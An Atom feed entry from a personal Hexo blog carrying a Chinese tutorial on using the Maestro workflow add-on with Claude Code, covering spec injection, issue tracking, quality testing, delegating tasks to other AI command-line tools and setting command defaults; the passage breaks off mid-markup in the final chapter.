<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>Prorise</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://blog.prorisehub.com/</id>
  <link href="https://blog.prorisehub.com/" rel="alternate"/>
  <link href="https://blog.prorisehub.com/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, Prorise</rights>
  <subtitle>Prorise的个人博客，一位全栈工程师，在这里分享前后端开发、架构设计、运维部署等技术领域的学习笔记与实战经验。</subtitle>
  <title>Prorise - 博客小栈</title>
  <updated>2026-05-07T03:10:50.989Z</updated>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="一人公司系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/"/>
    <category term="AI 编程方向" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/"/>
    <category term="AI 开发工具系列" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/"/>
    <category term="工作流篇" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%AF%87/"/>
    <category term="Maestro" scheme="https://blog.prorisehub.com/categories/%E4%B8%80%E4%BA%BA%E5%85%AC%E5%8F%B8%E7%B3%BB%E5%88%97/AI-%E7%BC%96%E7%A8%8B%E6%96%B9%E5%90%91/AI-%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7%E7%B3%BB%E5%88%97/%E5%B7%A5%E4%BD%9C%E6%B5%81%E7%AF%87/Maestro/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><hr><h1>第二篇：日常开发中最常用的场景</h1><div class="note info flat"><p>适用环境：已完成第一篇的安装与初始化，Claude Code 最新版，Hooks 级别 standard 已安装</p></div><p>学习路径：第一章（让 AI 记住规范）→ 第二章（发现和修复问题）→ 第三章（代码验收）→ 第四章（委托其他 AI）→ 第五章（设置命令默认值）</p><hr><h2 id="第一章-让-AI-记住你的项目规范">第一章. 让 AI 记住你的项目规范</h2><h3 id="1-1-为什么每次都要重新告诉-AI-规范">1.1. 为什么每次都要重新告诉 AI 规范</h3><p>用 Claude Code 开发的人都体会过这个过程：新开一个对话窗口，先花几分钟粘贴一段话——「我们用 TypeScript 严格模式、API 框架用 Hono、数据库用 Drizzle ORM、命名规范是 camelCase、禁止使用 any……」。</p><p>这段话你可能已经复制粘贴了几十次了。而且就算粘贴了，AI 在对话后期写代码时还是可能「忘记」，写出和项目风格不一致的东西。</p><p>Maestro 的 Spec 系统解决的就是这个问题。你只需要把这些规范录入一次，之后每次 AI 启动，Hooks 会自动把对应的规范注入到 AI 的上下文里。从此不用再手动粘贴，AI 自然知道该遵守什么约定。</p><h3 id="1-2-录入一条规范只需要一行命令">1.2. 录入一条规范只需要一行命令</h3><p>在 Claude Code 里运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/spec-add coding <span class="string">&quot;所有 API 路由统一使用 Hono 框架，不允许混用 Express&quot;</span></span><br></pre></td></tr></table></figure><p><code>coding</code> 是这条规范的分类，表示它是编码约定类的规范。Maestro 会自动从内容里提取关键词（比如 <code>hono</code>、<code>api-routing</code>、<code>framework</code>），然后把这条规范写入 <code>.workflow/specs/coding-conventions.md</code> 文件。</p><p>你可以根据规范的性质选择不同的分类：</p><table><thead><tr><th>分类</th><th>适合记录什么</th></tr></thead><tbody><tr><td><code>coding</code></td><td>命名规范、框架选型、代码风格、禁止使用的写法</td></tr><tr><td><code>arch</code></td><td>模块边界、层级约束、架构决策</td></tr><tr><td><code>test</code></td><td>测试框架、覆盖率要求、测试命名规则</td></tr><tr><td><code>debug</code></td><td>已知的坑、根因记录、排查技巧</td></tr><tr><td><code>learning</code></td><td>踩过的 bug、经验教训、需要注意的边界条件</td></tr><tr><td><code>review</code></td><td>代码审查清单、质量门槛</td></tr></tbody></table><p>举几个实际的例子：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 编码规范</span></span><br><span class="line">/spec-add coding <span class="string">&quot;所有 API 路由统一使用 Hono 框架，不允许混用 Express&quot;</span></span><br><span class="line">/spec-add coding <span class="string">&quot;禁止使用 TypeScript 的 any 类型，必须明确声明类型&quot;</span></span><br><span class="line">/spec-add coding <span class="string">&quot;数据库操作统一使用 Drizzle ORM，禁止裸写 SQL 字符串&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 架构约束</span></span><br><span class="line">/spec-add <span class="built_in">arch</span> <span class="string">&quot;通知模块使用事件驱动架构，不允许直接调用通知服务&quot;</span></span><br><span class="line">/spec-add <span class="built_in">arch</span> <span class="string">&quot;所有外部 API 调用必须通过 services/ 目录下的封装，禁止在 controller 里直接 fetch&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 踩坑记录</span></span><br><span class="line">/spec-add learning <span class="string">&quot;分页参数 page 从 1 开始，不是 0，传 0 会导致 offset 计算错误&quot;</span></span><br><span class="line">/spec-add learning <span class="string">&quot;Drizzle 的 .returning() 在 SQLite 下不支持，只能用 MySQL/PostgreSQL&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 已知的调试技巧</span></span><br><span class="line">/spec-add debug <span class="string">&quot;登录失败时先检查 Redis 里的 session 是否过期，过期时间默认 7200s&quot;</span></span><br></pre></td></tr></table></figure><p>录入完成后，Maestro 会输出一条确认信息，告诉你规范被写入了哪个文件，以及提取到了哪些关键词：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">== spec-add 完成 ==</span><br><span class="line">分类：coding</span><br><span class="line">写入：.workflow/specs/coding-conventions.md</span><br><span class="line">关键词：hono, api-routing, framework</span><br><span class="line">验证：maestro spec load --keyword hono</span><br></pre></td></tr></table></figure><h3 id="1-3-什么时候会自动生效">1.3. 什么时候会自动生效</h3><p>你不需要手动操作，Hooks 会处理注入时机。</p><p>每次你在 Claude Code 里触发一个 Agent（也就是让 AI 开始写代码或做分析时），<code>spec-injector</code> 这个 Hook 会在 Agent 启动的瞬间，根据当前 Agent 的类型，自动把对应分类的规范塞进它的 prompt 里。</p><p>比如驱动一个写代码的 Agent，它会拿到 <code>coding</code> 分类的规范；驱动一个专门做测试的 Agent，它会同时拿到 <code>coding</code> 和 <code>test</code> 分类的规范。这个匹配是自动的，你完全感知不到，但 AI 写出来的代码会天然地遵守你录入的规范。</p><div class="note info flat"><p>如果你想确认某条规范有没有被正确录入，可以用 <code>/spec-load --keyword hono</code> 来手动检索，它会把匹配这个关键词的所有规范条目显示出来。</p></div><h3 id="1-4-初次使用：让-AI-扫描代码库自动生成规范">1.4. 初次使用：让 AI 扫描代码库自动生成规范</h3><p>如果你是把 Maestro 接入一个已有的项目，不想一条一条手动录入，可以让 Maestro 扫描你的代码库，自动识别技术栈和编码模式，生成初始规范文件：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/spec-setup</span><br></pre></td></tr></table></figure><p>它会分析你项目里用了哪些框架、有没有 linter 配置、有没有测试框架，然后生成对应的 spec 文件。生成的内容可以直接用，也可以之后手动补充细节。</p><p>对于新项目，直接从 <code>/spec-add</code> 开始录入就好，不需要先跑 <code>/spec-setup</code>。</p><h3 id="1-5-按需检索规范">1.5. 按需检索规范</h3><p>除了自动注入，你也可以手动检索规范内容，把它粘贴进当前对话：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 把所有编码规范加载进来</span></span><br><span class="line">/spec-load --category coding</span><br><span class="line"></span><br><span class="line"><span class="comment"># 只加载和认证相关的规范</span></span><br><span class="line">/spec-load --keyword auth</span><br><span class="line"></span><br><span class="line"><span class="comment"># 组合使用：在编码规范里找和命名有关的条目</span></span><br><span class="line">/spec-load --category coding --keyword naming</span><br></pre></td></tr></table></figure><p>适合在需要 AI 参考完整规范背景时手动触发，比如做代码审查之前，或者开始一个涉及核心架构的新功能之前。</p><h3 id="1-6-本节小结">1.6. 本节小结</h3><p>完成第一章后，你的项目已经有了一套持久化的规范库，AI 写代码时会自动遵守这些约定，不再需要每次对话都重新粘贴。</p><table><thead><tr><th>要点</th><th>何时使用</th><th>关键动作</th></tr></thead><tbody><tr><td>录入一条规范</td><td>发现需要约束某个写法时</td><td><code>/spec-add coding &quot;规范内容&quot;</code></td></tr><tr><td>扫描已有项目生成规范</td><td>接入已有项目时</td><td><code>/spec-setup</code></td></tr><tr><td>手动检索规范</td><td>需要 AI 参考完整规范背景时</td><td><code>/spec-load --keyword xxx</code></td></tr></tbody></table><hr><h2 id="第二章-发现问题、修复问题">第二章. 发现问题、修复问题</h2><p>上一章讲的是如何让 AI 记住项目规范，避免写出风格不一致的代码。这一章换一个角度——当代码已经写出来了，怎么系统地发现其中的问题，然后有条不紊地修复它们。</p><p>Maestro 的 Issue 系统是一套独立的问题追踪机制，可以和主干流程并行运行。你在推进 Phase 的同时，发现问题就创建 Issue，修复完就关闭，两条线互不干扰。</p><h3 id="2-1-让-AI-主动帮你找问题">2.1. 让 AI 主动帮你找问题</h3><p>与其等到出了 bug 再去排查，不如定期让 AI 主动扫一遍。Maestro 提供了一个命令，从八个角度对你的代码库做一次全面的问题扫描：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/manage-issue-discover</span><br></pre></td></tr></table></figure><p>这八个角度分别是：安全漏洞、性能问题、可靠性、可维护性、可扩展性、用户体验、可访问性、合规性。每个角度都会产出一批发现，去重之后自动写入 Issue 列表。</p><p>如果你不想全部扫，只想针对某个具体的关注点，可以用定向发现：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/manage-issue-discover by-prompt <span class="string">&quot;检查所有 API 端点的错误处理，特别是 400 和 500 状态码是否都有对应处理&quot;</span></span><br></pre></td></tr></table></figure><p>扫描完成后，Maestro 会列出所有发现的问题，每个问题带有严重程度（critical / high / medium / low）。</p><h3 id="2-2-手动记录一个问题">2.2. 手动记录一个问题</h3><p>发现 bug 或者想法，不需要等扫描，直接记录：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/manage-issue create --title <span class="string">&quot;登录接口在并发请求下偶发 500&quot;</span> --severity high</span><br></pre></td></tr></table></figure><p><code>--severity</code> 可以是 <code>critical</code>、<code>high</code>、<code>medium</code>、<code>low</code>，影响后续修复的优先级排序。</p><p>创建成功后会得到一个 Issue ID，比如 <code>ISS-001</code>，后续操作都用这个 ID 来引用。</p><p>查看当前所有未解决的问题：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/manage-issue list --status open --severity high</span><br></pre></td></tr></table></figure><h3 id="2-3-分析-修复-关闭：标准四步走">2.3. 分析 + 修复 + 关闭：标准四步走</h3><p>有了 Issue 之后，修复流程分四步：</p><p><strong>步骤 1：让 Maestro 分析根因</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-analyze --gaps ISS-001</span><br></pre></td></tr></table></figure><p>Maestro 会读取这个 Issue 的描述，然后深入代码库找根因——是哪段代码有问题、影响范围有多大、可能的修复方向是什么。分析完后 Issue 状态变成 <code>diagnosed</code>（已诊断）。</p><p><strong>步骤 2：生成修复计划</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-plan --gaps</span><br></pre></td></tr></table></figure><p>基于诊断结果，生成具体的修复任务清单，和主干流程的 plan 格式完全一样。Issue 状态变成 <code>planned</code>（已规划）。</p><p><strong>步骤 3：执行修复</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-execute</span><br></pre></td></tr></table></figure><p>按照修复计划写代码，执行完成后 Issue 状态自动变成 <code>resolved</code>（已解决）。</p><p><strong>步骤 4：关闭 Issue</strong></p><p>确认修复生效后，手动关闭：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/manage-issue close ISS-001 --resolution <span class="string">&quot;已修复，根因是并发场景下 Redis 锁未正确释放，commit: abc123&quot;</span></span><br></pre></td></tr></table></figure><p><code>--resolution</code> 里记录修复说明，方便以后回溯。</p><h3 id="2-4-快速修一个小-bug">2.4. 快速修一个小 bug</h3><p>如果问题很明确、很简单，不需要走上面的四步流程，直接用最短路径：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/maestro-quick <span class="string">&quot;修复登录页在 iPhone SE 上的样式错乱，底部按钮被键盘遮住&quot;</span></span><br></pre></td></tr></table></figure><p><code>/maestro-quick</code> 跳过分析和规划，直接让 AI 理解问题然后开始修。适合界面小问题、配置错误、单文件的 bug 修复这类范围明确的任务。</p><h3 id="2-5-本节小结">2.5. 本节小结</h3><p>Issue 系统和主干 Phase 管线是两条并行的轨道。推进功能开发走 Phase 流程，发现和修复问题走 Issue 流程，两者不相互阻塞。</p><table><thead><tr><th>要点</th><th>何时使用</th><th>关键动作</th></tr></thead><tbody><tr><td>主动扫描发现问题</td><td>阶段性代码质量检查时</td><td><code>/manage-issue-discover</code></td></tr><tr><td>手动记录一个 bug</td><td>发现具体问题时</td><td><code>/manage-issue create --title &quot;...&quot; --severity high</code></td></tr><tr><td>分析 + 修复完整流程</td><td>问题原因不明确、需要深度分析时</td><td><code>analyze --gaps</code> → <code>plan --gaps</code> → <code>execute</code> → <code>close</code></td></tr><tr><td>快速修小 bug</td><td>问题范围明确、改动很小时</td><td><code>/maestro-quick &quot;修复描述&quot;</code></td></tr></tbody></table><hr><h2 id="第三章-代码跑完之后怎么验收">第三章. 代码跑完之后怎么验收</h2><p>代码执行完了，不等于功能做好了。验收这件事，Maestro 把它拆成三个不同角度的测试，每个角度回答不同的问题。理解这三者的分工，才能知道该跑哪个、跑完看什么。</p><h3 id="3-1-三种测试各管什么">3.1. 三种测试各管什么</h3><div class="tabs" id="三种测试对比"><ul class="nav-tabs"><button type="button" class="tab  active" data-href="三种测试对比-1">业务规则测试</button><button type="button" class="tab " data-href="三种测试对比-2">代码执行测试</button><button type="button" class="tab " data-href="三种测试对比-3">覆盖率测试</button></ul><div class="tab-contents"><div class="tab-item-content active" id="三种测试对比-1"><p><strong>命令</strong>：<code>/quality-business-test N</code></p><p><strong>回答的问题</strong>：产品需求文档（PRD）里写的业务规则，代码有没有全部实现？</p><p><strong>怎么跑</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/quality-business-test 1</span><br></pre></td></tr></table></figure><p>它会读取路线图里 Phase 1 定义的验收标准，提取所有业务场景，然后逐一验证。比如「用户注册时邮箱格式必须合法」「密码至少 8 位且包含数字」「同一邮箱不能重复注册」——这些业务规则是否都被代码正确实现了。</p><p><strong>适合在什么时候跑</strong>：<code>/maestro-execute</code> 完成之后，首先跑这个，确认业务逻辑没有遗漏。</p></div><div class="tab-item-content" id="三种测试对比-2"><p><strong>命令</strong>：<code>/quality-test N</code></p><p><strong>回答的问题</strong>：代码本身能不能跑起来、接口能不能正确响应？</p><p><strong>怎么跑</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/quality-test 1</span><br></pre></td></tr></table></figure><p>这是更接近传统 UAT（用户验收测试）的测试，关注的是「代码实际运行时会不会报错、接口返回是否符合预期」。</p><p><strong>适合在什么时候跑</strong>：业务测试通过之后，再跑这个验证代码层面的健康状况。</p></div><div class="tab-item-content" id="三种测试对比-3"><p><strong>命令</strong>：<code>/quality-test-gen N</code></p><p><strong>回答的问题</strong>：有没有哪些场景我们没有测试到？</p><p><strong>怎么跑</strong>：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/quality-test-gen 1</span><br></pre></td></tr></table></figure><p>它会分析当前的测试覆盖情况，找出边界条件、异常路径、未被测试的分支，然后生成补充测试用例。</p><p><strong>适合在什么时候跑</strong>：对代码质量要求较高时，或者准备发布之前，用它扫一遍覆盖率盲区。</p></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="anzhiyufont anzhiyu-icon-arrow-up"></i></button></div></div><p>三个测试不是非此即彼，而是互补的。日常开发建议至少跑前两个，发布前把三个都跑一遍。</p><h3 id="3-2-测试失败了怎么办">3.2. 测试失败了怎么办</h3><p>测试跑出来有问题，不要慌，Maestro 提供了标准的修复流程。</p><p><strong>如果是业务测试失败</strong>，先诊断根因：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/quality-debug --from-business-test 1</span><br></pre></td></tr></table></figure><p>这个命令会读取业务测试的失败报告，用假设驱动的方式找出是哪段代码没有正确实现业务规则，输出一份诊断报告，里面会写清楚问题在哪、影响什么、建议怎么修。</p><p>然后生成修复计划并执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/maestro-plan 1 --gaps     <span class="comment"># 基于诊断结果生成修复任务</span></span><br><span class="line">/maestro-execute 1          <span class="comment"># 执行修复</span></span><br><span class="line">/quality-business-test 1 --re-run  <span class="comment"># 只重跑之前失败的场景，不用全部重跑</span></span><br></pre></td></tr></table></figure><p><code>--re-run</code> 参数很实用，它只跑上次失败的测试场景，不重复跑已经通过的部分，节省时间。</p><p><strong>如果是代码执行测试失败</strong>，流程类似：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">/quality-debug --from-uat 1       <span class="comment"># 诊断代码层面的失败原因</span></span><br><span class="line">/maestro-plan 1 --gaps</span><br><span class="line">/maestro-execute 1</span><br><span class="line">/quality-test 1                   <span class="comment"># 重跑完整测试确认修复</span></span><br></pre></td></tr></table></figure><h3 id="3-3-代码审查">3.3. 代码审查</h3><p>测试关注的是「功能对不对」，代码审查关注的是「代码写得好不好」。两件事都重要，只是时机不同。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/quality-review 1</span><br></pre></td></tr></table></figure><p>默认是 <code>standard</code> 级别的审查，覆盖代码风格、潜在 bug、安全问题、性能隐患等常见维度。</p><p>如果只是想快速扫一眼有没有明显问题：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/quality-review 1 --level quick</span><br></pre></td></tr></table></figure><p>如果是核心模块、发布前的严格审查：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/quality-review 1 --level deep</span><br></pre></td></tr></table></figure><p>审查发现的 critical 或 high 级别问题，Maestro 会自动创建对应的 Issue，你可以用上一章的 Issue 流程来追踪和修复它们。</p><h3 id="3-4-推荐的验收顺序">3.4. 推荐的验收顺序</h3><p>把上面几个命令串起来，这是一个稳妥的验收顺序：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># Phase 1 执行完之后</span></span><br><span class="line"></span><br><span class="line">/quality-business-test 1       <span class="comment"># 先验业务规则</span></span><br><span class="line">/quality-test 1                <span class="comment"># 再验代码执行</span></span><br><span class="line">/quality-review 1              <span class="comment"># 做代码审查</span></span><br><span class="line">/quality-test-gen 1            <span class="comment"># 补充测试覆盖（可选，发布前建议跑）</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 如果有测试失败</span></span><br><span class="line">/quality-debug --from-business-test 1</span><br><span class="line">/maestro-plan 1 --gaps</span><br><span class="line">/maestro-execute 1</span><br><span class="line">/quality-business-test 1 --re-run</span><br></pre></td></tr></table></figure><h3 id="3-5-本节小结">3.5. 本节小结</h3><p>三种测试命令从不同角度保障代码质量，互相补充而不是替代。测试失败时有固定的修复流程，不用自己摸索。</p><table><thead><tr><th>要点</th><th>何时使用</th><th>关键动作</th></tr></thead><tbody><tr><td>业务规则测试</td><td>execute 完成后第一件事</td><td><code>/quality-business-test N</code></td></tr><tr><td>代码执行测试</td><td>业务测试通过后</td><td><code>/quality-test N</code></td></tr><tr><td>覆盖率补充</td><td>发布前、高质量要求时</td><td><code>/quality-test-gen N</code></td></tr><tr><td>代码审查</td><td>每个 Phase 执行后</td><td><code>/quality-review N</code></td></tr><tr><td>测试失败修复</td><td>任何测试报错时</td><td><code>quality-debug → plan --gaps → execute → re-run</code></td></tr></tbody></table><hr><h2 id="第四章-把任务交给其他-AI-来做">第四章. 把任务交给其他 AI 来做</h2><p>前三章讲的都是在 Claude Code 里直接操作的场景。这一章介绍一个不同的思路——把任务异步地委托给另一个 AI 引擎（Gemini、Codex 等）去跑，你自己继续干别的，等它出结果再来取。</p><h3 id="4-1-为什么要委托给其他-AI">4.1. 为什么要委托给其他 AI</h3><p>最直接的理由是<strong>不阻塞</strong>。</p><p>假设你让 Claude 分析整个代码库的安全漏洞，这个任务可能要跑十几分钟，在这段时间里你只能等着，什么都干不了。</p><p>如果改用 Delegate 模式，你把这个任务甩给 Gemini 异步跑，自己继续在 Claude Code 里写别的功能。等 Gemini 跑完，系统会通知你，你再去取结果。两件事并行完成，效率翻倍。</p><p>第二个理由是<strong>让合适的模型做合适的事</strong>。不同 AI 模型各有所长，Gemini 擅长大上下文的代码分析，Codex 适合精确的代码实现，你可以根据任务特点选择最合适的工具。</p><h3 id="4-2-委托一个任务，拿回结果">4.2. 委托一个任务，拿回结果</h3><p><strong>第一步：发出委托</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maestro delegate <span class="string">&quot;分析 src/auth/ 目录下所有接口的安全漏洞，重点关注 SQL 注入和权限校验&quot;</span> --to gemini --async</span><br></pre></td></tr></table></figure><p><code>--to gemini</code> 指定由 Gemini 来执行，<code>--async</code> 表示异步运行，命令会立刻返回一个执行 ID，比如 <code>gem-143022-a7f2</code>。</p><p><strong>第二步：去做其他事情</strong></p><p>这段时间你完全可以继续用 Claude Code 开发其他功能，不受影响。</p><p><strong>第三步：收到通知，取回结果</strong></p><p>Delegate 任务完成后会通过 Hook 通知你。你也可以主动查状态：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maestro delegate status gem-143022-a7f2</span><br></pre></td></tr></table></figure><p>确认任务已完成（<code>completed</code>）后，取回完整结果：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maestro delegate output gem-143022-a7f2</span><br></pre></td></tr></table></figure><h3 id="4-3-串联两个任务：分析完自动触发修复">4.3. 串联两个任务：分析完自动触发修复</h3><p>一个更进阶的用法是任务链——让 Gemini 分析完漏洞之后，自动触发 Claude 去修复它们，全程不需要你手动接力。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 第一步：启动分析任务</span></span><br><span class="line">maestro delegate <span class="string">&quot;找出所有高危安全漏洞&quot;</span> --to gemini --async</span><br><span class="line"><span class="comment"># 得到 ID：gem-143022-a7f2</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 第二步：排队一个后续任务，等分析完自动执行</span></span><br><span class="line">maestro delegate message gem-143022-a7f2 <span class="string">&quot;分析完成后，修复所有 critical 和 high 级别的漏洞&quot;</span> --delivery after_complete</span><br></pre></td></tr></table></figure><p><code>--delivery after_complete</code> 的意思是：把这条消息排队，等 <code>gem-143022-a7f2</code> 这个任务完成之后，自动用它的输出结果作为上下文，启动修复任务。</p><p>你完全不需要守在旁边等，两个任务会自动串联起来执行。</p><h3 id="4-4-如果任务跑偏了，中途补充上下文">4.4. 如果任务跑偏了，中途补充上下文</h3><p>任务已经在跑了，但你突然想到还有一些额外的信息要补充：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maestro delegate message gem-143022-a7f2 <span class="string">&quot;另外也检查一下 src/utils/sanitize.ts，这个文件之前有过 XSS 问题&quot;</span></span><br></pre></td></tr></table></figure><p>这条消息会被注入到正在运行的任务里，Gemini 会把这个补充信息纳入分析范围。</p><p>如果任务跑错了方向，直接取消：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">maestro delegate cancel gem-143022-a7f2</span><br></pre></td></tr></table></figure><h3 id="4-5-支持的-AI-工具">4.5. 支持的 AI 工具</h3><p>Delegate 支持的 AI 工具取决于你本地安装了哪些，通过 <code>--to</code> 参数指定：</p><table><thead><tr><th>参数</th><th>工具</th></tr></thead><tbody><tr><td><code>--to gemini</code></td><td>Google Gemini CLI</td></tr><tr><td><code>--to codex</code></td><td>OpenAI Codex CLI</td></tr><tr><td><code>--to claude</code></td><td>Claude（另一个会话）</td></tr><tr><td><code>--to qwen</code></td><td>通义千问 CLI</td></tr><tr><td><code>--to opencode</code></td><td>OpenCode</td></tr></tbody></table><p>如果不确定用哪个，可以不指定 <code>--to</code>，Maestro 会自动选择你本地第一个可用的工具。</p><h3 id="4-6-本节小结">4.6. 本节小结</h3><p>Delegate 的核心价值是「不阻塞」——把耗时任务甩出去，自己继续干活，结果出来了再取。任务链（<code>after_complete</code>）则让多步骤的工作流完全自动化。</p><table><thead><tr><th>要点</th><th>何时使用</th><th>关键动作</th></tr></thead><tbody><tr><td>异步委托一个任务</td><td>耗时分析、不想等结果时</td><td><code>maestro delegate &quot;...&quot; --to gemini --async</code></td></tr><tr><td>查看任务状态</td><td>想知道任务跑完没</td><td><code>maestro delegate status &lt;id&gt;</code></td></tr><tr><td>取回结果</td><td>任务完成后</td><td><code>maestro delegate output &lt;id&gt;</code></td></tr><tr><td>串联后续任务</td><td>分析完自动触发修复时</td><td><code>maestro delegate message &lt;id&gt; &quot;...&quot; --delivery after_complete</code></td></tr><tr><td>中途补充上下文</td><td>任务进行中想追加信息时</td><td><code>maestro delegate message &lt;id&gt; &quot;补充内容&quot;</code></td></tr></tbody></table><hr><h2 id="第五章-不想每次都手打参数">第五章. 不想每次都手打参数</h2><p>用了一段时间 Maestro 之后，你会发现有些参数几乎每次都要加，比如 <code>/maestro-execute</code> 后面总是要带 <code>--auto-commit</code>，<code>/quality-review</code> 总是要带 <code>--level deep</code>。每次手打很烦，忘了还会漏掉。</p><p>Maestro 的 Skill 默认值配置就是解决这个问题的——你设置一次，以后调用这个命令就自动带上这些参数。</p><h3 id="5-1-设置一次，永久生效">5.1. 设置一次，永久生效</h3><p>在终端里运行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 让 execute 每次都自动提交代码、自动选择执行方式</span></span><br><span class="line">maestro config <span class="built_in">set</span> maestro-execute auto-commit <span class="literal">true</span> -g</span><br><span class="line">maestro config <span class="built_in">set</span> maestro-execute method auto -g</span><br><span class="line">maestro config <span class="built_in">set</span> maestro-execute y <span class="literal">true</span> -g</span><br><span class="line"></span><br><span class="line"><span class="comment"># 让代码审查默认用深度模式</span></span><br><span class="line">maestro config <span class="built_in">set</span> quality-review level deep -g</span><br><span class="line"></span><br><span class="line"><span 